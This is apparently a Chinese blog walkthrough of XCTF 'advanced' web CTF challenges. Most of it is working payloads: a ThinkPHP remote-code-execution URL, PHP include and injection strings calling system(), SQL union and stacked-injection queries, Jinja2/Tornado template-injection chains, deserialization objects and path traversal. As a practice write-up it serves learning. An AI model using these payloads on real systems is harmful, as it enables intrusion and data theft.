攻防世界高手进阶区通关教程(1)

来到高手进阶区

baby_web

当我们访问index.php的时候会跳转到1.php,我们检查元素,打开网络,我们在输入index.php即可看到消息头有flag

Training-WWW-Robots

打开robots.txt看到flag地址,打开即可

php_rce

这是thinkphp rce漏洞

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

Web_php_include

根据page我们构造语句即可

扫描二维码关注公众号,回复: 11208924 查看本文章

?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>

?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>

ics-06

有个id参数,我们通过爆破即可知道有个2333的id有flag

Warmup

检查元素中发现有个source.php,访问下

访问hint.php

我们通过截取来获取我们的flag

source.php?file=source.php%253f/../../../../../ffffllllaaaagggg

NewsCenter

这里搜索语句中有注入点

' union select 1,2,3 #

' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #

' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#

' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#

' and 0 union select 1,2,fl4g from secret_table #

NaNNaNNaNNaN-Batman

下载附件

把eval,换成alert打开即可获取到javascript代码

我们看完代码便知,输入be0f233ac7be98aa即可获取flag

PHP2

输入index.phps看到代码,当我们输入id属性值的时候浏览器会进行一次url解码,然后代码也进行一次,所以我们编码两次即可

/index.php?id=%2561%2564%256d%2569%256e

unserialize3

很明显是反序列化漏洞,根据code传递

/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

Js验证,检查元素把onchange删除即可

访问即可

Web_python_template_injection

先判断是否存在SSTI漏洞

/{{'a'+'x'}}

/{{[].__class__.__base__.__subclasses__()}}

查看所有模块

/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

查看catch_warnings模块都存在哪些全局函数

查看flag文件在哪里

/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

查看flag

/{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

Web_php_unserialize

这是php反序列化漏洞,漏洞点在__wakeup函数中,flag文件已经在注释中说了

直接构造语句即可

/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

Supersqli

加单引号发现报错

当我们用union注入发现,被过滤了

尝试堆叠注入

1';show databases;#

查看数据库

查看表

查询words表中所有列:

1';show columns from words;#

查询1919810931114514表中所有列

1';show columns from `1919810931114514`;#

我们用rename改表名,改成words

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

最后用1' or 1=1 #得到flag

Easytornado

有三个文件,依次浏览下

还有个错误的地址

我们已经有flag文件地址了,加上我们flaghash即可获取flag

/error?msg={{handler.settings}}

获取cookie_secret

计算filehash值:

代码块

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()

def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'b8c94c3d-7c77-4255-9da2-314779feb9b0'
 print(md5(cookie_secret+md5(filename)))


filehash()

再构造下语句即可

/file?filename=/fllllllllllllag&filehash=02751748b50380f083517be3f1832bb5

Shrine

简单浏览下代码,对小括号进行了替换,将 ( 和 ) 替换为空字符串

将 config 和 self 添加进了黑名单

构造语句即可

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

Lottery

查看robots.txt发现.git文件,可以下载源码文件

这里的.git文件不能直接git clone 要下载GitHack来下载

漏洞在api.php文件中

因为php是若语言,所以1和ture相等

我们在buy页面填了7位数字后抓包

修改成{"action":"buy","numbers":[true,true,true,true,true,true,true]}

多发送几次后就可以购买flag了

Mfw

发现泄露.git

我们用GitHack下载下来

发现源码中page可以获取flag,page参数也没有进行过滤

所以我们直接构造语句即可

/?page='.system("cat ./templates/flag.php").'

查看源码就可以看到flag了

攻略到这里就结束了~~~~~~

原创文章 40 获赞 14 访问量 5万+

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/106143620